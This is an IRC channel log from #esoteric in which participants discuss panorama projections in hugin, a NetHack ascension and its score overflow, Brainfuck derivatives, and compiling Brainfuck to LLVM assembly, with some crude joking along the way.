:tombom!tombom@wikipedia/Tombomp JOIN :#esoteric < 1268856543 0 :tombom_!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1268857045 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :augur, yeah what about it? < 1268857054 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :augur, it is a photographic projectioj < 1268857058 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :projection* < 1268857063 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oh i'm sure it is 8D < 1268857070 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :augur, what else could it be? < 1268857080 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :;D < 1268857108 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :augur, for "wide" panoramas you usually use equirectangular or cylindrical or such < 1268857115 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :o mai < 1268857118 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :rectilinear is closer to a normal "not to wide" lens < 1268857136 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :("not to wide" here is to exclude fish eye lenses) < 1268857233 0 :tombom!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1268857266 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :augur, to best learn what they mean: install hugin (panorama tool) and add some image with lens data in the exif, then play around with the result in of various projections and various angles in the preview window (use the opengl preview window, rather than slow/more-precise preview, otherwise you won't see the updates in real time) < 1268857302 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :you can do perspective correction to look at an image from a different direction (assuming you have data for enough of the image) < 1268857311 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :of course, that is still from the same point < 1268857337 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but like you had rotated the camera in the same spot < 1268857355 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :you can use it for creating 3D models from if you want to do that < 1268857388 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(note, for that you really need to do it on buildings or such, rather than a nature picture) < 1268857437 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, have you tried that btw? < 1268857507 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I've done perspective correction; I haven't tried to model a building out of it, though. < 1268857522 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, there is a tutorial for it on the hugin website < 1268857574 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, but what I meant was fun is dragging with the drag tool a rectilinear view of a wide stitch (say, 100-120 degrees wide) < 1268857577 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and watch what happens < 1268857595 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :only drag it horisontally (hold down shift to force cardinal directions) < 1268857604 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the drag tool is near the top of the gl preview window < 1268857667 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, note: something like towards the corner of a room with a bit of the ceiling in the picture works very well for seeing the effect < 1268857857 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It looks a bit like one web-based panorama-viewer, which (I think) had their fov set to something that doesn't really match what a typical computer monitor is. (If you set the preview window fov to the angle that the window itself covers in your vision, theoretically dragging the center around should match the "looking to a different direction" thing pretty well.) < 1268857931 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, uploading stitch atm < 1268857990 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :some data is gone on the right side due to image data being truncated in that file, otherwise the table would have been more complete. The weird thing between the middle windows is *not* a stitching error < 1268857993 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :http://omploader.org/vM3Y0aA < 1268858053 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : It looks a bit like one web-based panorama-viewer, which (I think) had their fov set to something that doesn't really match what a typical computer monitor is. (If you set the preview window fov to the angle that the window itself covers in your vision, theoretically dragging the center around should match the "looking to a different direction" thing pretty well. <-- yep, it did, well, I had < 1268858054 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it wider, but this monitor is a large wide screen, so it wasn't too noticeable except at extreme angles < 1268858056 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :argh < 1268858061 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :shouldn't have quoted it all -_- < 1268858242 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, btw, the house with the long corridor panorama from yesterday is the one you can see through the windows with the weird ^ kind of shape on top < 1268858266 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(the ^ thing is a glassed over section, really should take some images of that some day, it looks cool from inside) < 1268858290 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mind you, it isn't actually ^ but /| but we look at it from an angle where it looks more like /\ indeed < 1268858397 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, so what did you think about that panorama? < 1268858471 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :That you might have chosen a more interesting-looking place to photograph. :p < 1268858502 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, well yes, probably < 1268858515 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Woot, completed Nethack < 1268858520 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, will try to do so next time, I was bored though < 1268858537 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, really? Didn't you say just a few weeks ago that you didn't ever get far into it? < 1268858547 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and suddenly you completed it < 1268858569 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :My first game where I got as far as sokoban without save scumming; and yes, I ascended just a short while ago. < 1268858569 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :in my experience you need a lot of practise between those two states! < 1268858582 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I've been spoiled for years < 1268858584 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, -D ? < 1268858592 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :No cheating, nothing special < 1268858597 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: About NetHack: shopkeepers can't tell identical twins apart. oh! horror! oh! horror! oh! any horror but this! (marmion, by g. k....) < 1268858612 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: :-P < 1268858615 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1268858631 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, heh < 1268858633 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I have a ttyrec (if it worked) at http://tar.us.to:7654/best-nethack-run-20100312.ttyrec.bz2 < 1268858657 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, link to a player for that? < 1268858673 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :? I didn't play on any server, just locally < 1268858686 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, err, I mean, how do I play it. pacman -S what < 1268858693 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I don't know < 1268858697 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :it's called 'ascended', not completed < 1268858701 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, how did you record it then? < 1268858710 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: With termrec, which is only a recorder < 1268858714 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I need a tool to view the ttyrec < 1268858717 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :http://en.wikipedia.org/wiki/Ttyrec links to a few players < 1268858721 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, ah. < 1268858736 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :lament: I figured if I said "I ascended" it wouldn't be clear enough. < 1268858803 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah *installs on laptop... ubuntu/debian has almost everything in repos* < 1268858831 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: what class? < 1268858841 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :1 8484990 deewiant-Wiz-Hum-Mal-Neu ascended to demigod-hood. 276 [324] < 1268858853 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :8 million?? < 1268858859 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :were you farming? < 1268858860 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Beats me < 1268858862 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Nope < 1268858870 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :that's a big score < 1268858873 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :How's the score calculated? < 1268858890 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :how far you got multiplied by how much you suck < 1268858902 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Alright < 1268858908 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, how long did it take in wall clock < 1268858915 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, the score is complex < 1268858923 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :how many turns? < 1268858924 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Well, since 2010-03-12 < 1268858930 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, you can easily wrap around in a long running game < 1268858936 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, without farming < 1268858936 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :lament: Around 70-75k < 1268858945 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and well... I have done farming once. That's enough < 1268858950 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: that's not true. < 1268858960 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it was interesting to try out, but very boring < 1268858976 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, it has happened to me in a non-farming game < 1268858992 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :I can't imagine it. I don't believe you. < 1268858994 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, however I did get level 30, and I had a heck of a lot of gemstones with me up < 1268859003 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268859015 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :polymorphed lots and lots and lots and lots of rocks iirc < 1268859026 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :err, pebbles(?) < 1268859032 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :was some time ago I played nethack < 1268859034 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :wrapping the score around is actually fairly difficult < 1268859041 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :you certainly can't do it accidentally < 1268859043 0 :Wareya!unknown@unknown.invalid QUIT :Ping timeout: 246 seconds < 1268859048 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :and in general without scripts < 1268859067 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, I managed however. That was a very long running game though, a few months iirc < 1268859075 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I forgot how many turns < 1268859078 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :i don't believe you < 1268859086 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :unless you're DeathOnAStick?? < 1268859108 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, I'm not afaik < 1268859116 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :well i don't believe you then. < 1268859118 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :lament: http://dpaste.com/173073/ < 1268859124 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :.us.to is a weird domain name. < 1268859128 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Doesn't say much < 1268859143 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: cool < 1268859161 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :3046 creatures vanquished. < 1268859163 0 :Wareya!~wareya@cpe-74-70-140-214.nycap.res.rr.com JOIN :#esoteric < 1268859170 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, some things that raises scores: gemstones and artifacts in your inventory (or nested in bags/sacks) when you ascend. < 1268859181 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: See paste above. < 1268859181 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, then there are various other things I forgot < 1268859204 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I didn't have stuff with me, left a crapton in a chest in Sokoban though. < 1268859223 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, you should have taken artifacts and gemstones with you < 1268859235 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :No encumbrance-room :-P < 1268859257 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :amulets really aren't worth it for the points compared to the "high end" gemstones < 1268859259 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :It turns out that carrying a few dozen spellbooks with you, even in a bag of holding, is enough to make carrying anything else difficult < 1268859271 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, why did you need the spellbooks? < 1268859274 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I wasn't going for points at all, just survivability < 1268859286 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :In case I forget important spells, of course. < 1268859298 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, you played wiz? < 1268859301 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yes. < 1268859312 0 :nooga!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1268859323 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, well, then I'm impressed. I always found wiz hard to ascend with, compared to val for example < 1268859337 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(not as hard as bar or tou though) < 1268859346 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(the former of which I never managed) < 1268859351 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I found it really easy for the most part, actually < 1268859356 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(and the latter which I *almost* managed) < 1268859363 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, elf or human? < 1268859365 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :In particular the ascension run was much easier than I expected < 1268859371 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: 2010-03-17 21:46:57 ( Deewiant) 1 8484990 deewiant-Wiz-Hum-Mal-Neu ascended to demigod-hood. 276 [324] < 1268859384 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1268859425 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: the highest score is 2147483647 < 1268859434 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, in that game where I did wrap the score, my plan was to get as high score as possible. But I wasn't aware at that point yet that it *could* wrap < 1268859449 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so that was a nasty shock to say the least < 1268859453 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :the score you get for each dilithium crystal when ascending is 4500 < 1268859471 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, yep, artifacts give you way more iirc < 1268859478 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :still very, very little < 1268859489 0 :EgoBot!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268859492 0 :EgoBot!~EgoBot@codu.xen.prgmr.com JOIN :#esoteric < 1268859499 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :still, if you can get some dilithium crystals in nested bags of holding... < 1268859509 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(of course you need sacks in between) < 1268859514 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(or things blow up) < 1268859523 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :yep you only need 477218 crystals < 1268859532 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :basically there's no way you're right < 1268859534 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, I didn't say it was *all* due to crystals < 1268859537 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :... < 1268859540 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :either you're lying or mistaken < 1268859595 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :some score comes from killing monsters, wizard of yendor is 3153 < 1268859598 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :You only need to kill Demogorgon 656924 times to get a score-wraparound. < 1268859602 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :times two if you ascend < 1268859609 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, neither. I was doing a extinctionism run < 1268859617 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, which meant I had to kill lots of monsters < 1268859630 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I think I managed all but the xan, which I sadly forgot about < 1268859652 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, alas I can't show you this, since I can't play on nao due to bad lag < 1268859666 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :ipbt appears to play the ttyrec fine < 1268859672 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :if it had reasonable delay I would play on it < 1268859673 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :If anybody's still wondering about that < 1268859675 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :that's a lot of monsters, about a million < 1268859688 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :or rather much more than a million since most of them are low XP < 1268859688 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, I'm using ttyplay < 1268859701 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :i still don't believe you, lots of people play extinctionist and none of them wrap around the score < 1268859715 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, well sure, but you can manage it if you do try to aim for highest possible score without being aware of that it can wrap < 1268859758 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I hope it can do some kind of time compression, there's a few AFK sessions there < 1268859783 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, well yes, you can press a key to advance to the next typed char < 1268859783 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: you would have to have killed all the monsters many times over < 1268859794 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: since they were all extinct, what was it you were killing? < 1268859879 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, as I said, it wasn't all from monsters. It was a combination of a) monster killing b) a major portion of the artifacts (yay for bone files!) c) some crystals. < 1268859883 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I didn't do pudding farming < 1268859893 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but I did do death farming near the end < 1268859907 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1268859916 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :scripted death farming? < 1268859921 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, unscripted < 1268859927 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1268859927 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: It's 154027 frames: 43 hours if one second each < 1268859929 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, spent weeks at it I think XD < 1268859932 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :ohh < 1268859969 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :that explains it then < 1268859976 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, or around 1-2 week(s) from when I started death farming to that I ended. I did sleep in between, but since it was summer holidays I spent a lot of the days at it < 1268859986 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :that must've been the bulk of your xp i think < 1268859993 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it was about 2 years ago, so I might misremember some details < 1268860011 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but I do know I was very pissed of at finding out that it wrapped < 1268860036 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, it didn't wrap without the help of inventory items. so it ended up really low < 1268860038 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :There's presumably a score-showing option/patch you could've used < 1268860044 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I think something like 5000-6000 or so < 1268860052 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Of course it still would've wrapped but you may've found out earlier < 1268860084 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: you overestimate the contribution of artifacts, they score very little < 1268860084 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, I don't think, if it only wrapped due to inventory items < 1268860109 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Assuming it doesn't take that into account, yes < 1268860117 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: the contribution of artifacts is only about 50K max < 1268860125 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, book of dead is worth 25000 < 1268860127 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :less than 100K anyway < 1268860140 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :http://nethack.wikia.com/wiki/Score < 1268860145 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: ok a bit more < 1268860152 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, and yes. I just pointed out that without me having the book of the dead with me (pretty sure I did), it wouldn't have wrapped < 1268860163 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :since the final score was somewhere in the range 5000-6000 < 1268860178 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Isn't it signed, if the max is 2147483647? < 1268860205 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, I have not seen a negative score though as far as I can remember < 1268860219 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :it is signed, yes < 1268860235 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :someone on NAO has a -2,147,474,899 ascension < 1268860243 0 :nooga!~nooga@87-205-67-239.adsl.inetia.pl JOIN :#esoteric < 1268860280 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, hm, then I guess I calculated as if it was unsigned < 1268860288 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, and it would have ended up negative without the artifacts < 1268860379 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :you're absolutely nuts < 1268860459 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :hm, nobody on NAO has an ascension with a score of exactly 0 < 1268860906 0 :dbc!~daniel@130-94-161-238-dsl.hevanet.com JOIN :#esoteric < 1268860910 0 :dbc!unknown@unknown.invalid PART #esoteric :? < 1268861088 0 :nooga!unknown@unknown.invalid QUIT :Quit: Lost terminal < 1268861119 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: If you just want the highlights of the game, I recommend frame 130669 and thereon < 1268861460 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, no idea how to jump to there < 1268861473 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :at lest this tool doesn't provide that < 1268861532 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Then you'll spend a long time watching it :-P < 1268861602 0 :Hohoo!~hohoo@cs27026246.pp.htv.fi JOIN :#esoteric < 1268861683 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Anyway, that'd be the bit where I shoot myself with a finger of death since I accidentally pressed . instead of 3 on the numpad < 1268861742 0 :Hohoo!unknown@unknown.invalid PRIVMSG #esoteric :Hello... I got this idea for a little brainfuck derivative: http://paste.pocoo.org/show/190908/ < 1268861765 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: lol < 1268861779 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :lament: It was my only death, too; messed up my conduct < 1268861962 0 :Hohoo!unknown@unknown.invalid PRIVMSG #esoteric :That's a Python script that converts brainfuck into that confusing "brand-new" language. Try it and see. < 1268862040 0 :sebbu!~sebbu@ADijon-152-1-8-33.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1268862066 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :you are a genius < 1268862136 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Hohoo: i can't understand this program it's too complicated < 1268862172 0 :Hohoo!unknown@unknown.invalid PRIVMSG #esoteric :fax: Hello world would look like this: http://paste.pocoo.org/show/190915/ < 1268862184 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :what about brainfuck comments? < 1268862190 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :if they go through this program? < 1268862234 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :i have another brainfuck derivative < 1268862240 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :instead of "[" you write "Eat shit" < 1268862247 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :instead of "]", "Go fuck yourself" < 1268862255 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :instead of ">", "I fucked your mother last night" < 1268862258 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :... < 1268862266 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :finish what you start lament < 1268862421 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Hey, since it's marginally esolang-related, I might mention this here; I wrote a trivial (<350 lines) Perl script that converts a Brainfuck source into a (rather unoptimized; just run-length-coding and [-] special-case) LLVM assembly file, and optionally pushes that through the llvm-as + llc + as + gcc pipe so that a native executable comes out. < 1268862425 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I don't suppose it's any better in any way than an even more trivial Brainfuck→C conversion, but I just wanted to do some sort of trivial test of LLVM. < 1268862450 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :that's cool < 1268862474 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :350 seems a bit long for something like that :-P < 1268862476 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is using his home IRC client from school >>
< 1268862614 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :fax: ok < 1268862616 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :fax: http://paste.pocoo.org/show/190921/ < 1268862636 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :Hohoo: http://paste.pocoo.org/show/190921/ < 1268862641 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1268862652 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :please read it aloud. < 1268862661 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :interesting thing about these languages is they change quines < 1268862665 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Well, you do have to squizzle the loop structure into a list of basic blocks with predecessor information, in order to add the proper phi instructions in there. And there's a 50-line POD documentation block; and some other assorted bookkeeping since the LLVM asm is a SSA form, so you can't exactly just do "p++", you have to give p a new name. < 1268862679 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Hohoo, can you make a quine transputer? < 1268862697 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: Oh, if you're doing phis directly then that's a bit trickier, yes. < 1268862711 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: You mean there's some other way too?-) < 1268862715 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: You could just store the index in memory and store there; the optimizer will change it to phis. < 1268862768 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Well, right, I guess so; I just didn't want to generate *completely* brainless .ll assembly. Not that it's still not silly. < 1268862787 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :It's not brainless, it's what just about any compiler will do :-P < 1268862789 0 :charlls!charlls@186.72.43.179 JOIN :#esoteric < 1268862798 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Which is why the optimizers are good at getting rid of it ;-) < 1268862914 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: How good is the resulting output? < 1268862938 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Currently there's an "interesting"-looking "%bXoutmem = bitcast i8* %bXY" (where X is block index and Y is the last mem-ptr value from that block) at the end of each block, since I wanted to be able to just say "%bXinmem = phi i8* [ %bYoutmem, %BlockY ], ..." in the beginning of each block to get the initial memory pointer value. < 1268862988 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Identity bitcast? >_< < 1268862990 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: Can't really say, I don't have any sensible brainfuck benchmarks. The x86-64 assembly for hello-world looked a bit messier than what I'd have liked, though. < 1268863004 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Right, since just 